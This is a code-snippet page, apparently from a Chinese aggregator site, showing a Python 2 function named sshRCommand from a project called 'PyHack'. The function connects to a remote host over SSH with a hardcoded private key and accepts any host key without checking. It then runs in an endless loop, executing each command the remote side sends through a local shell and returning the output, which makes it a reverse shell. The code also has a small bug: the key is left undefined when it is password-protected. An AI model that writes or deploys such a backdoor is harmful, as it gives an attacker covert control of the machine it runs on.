sshRCmd.py 文件源码

python
阅读 22 收藏 0 点赞 0 评论 0

项目:PyHack 作者: lanxia 项目源码 文件源码
def sshRCommand(ip, user, passwd, command):
    try:
        key = paramiko.RSAKey.from_private_key_file("/home/ubuntu/data/PyHack/qCloud")
    except paramiko.PasswordRequiredException:
        pass

    client = paramiko.SSHClient()
    #client.load_host_keys('/home/ubuntu/.ssh/kow')
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    client.connect(ip, username = user, pkey = key)
    sshSession = client.get_transport().open_session()

    if sshSession.active:
        sshSession.send(command)
        print sshSession.recv(1024)

        while True:
            command = sshSession.recv(1024)
            try:
                output = subprocess.check_output(command, shell = True)
                sshSession.send(output)
            except Exception, e:
                sshSession.send(str(e))

        client.close()

    return
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号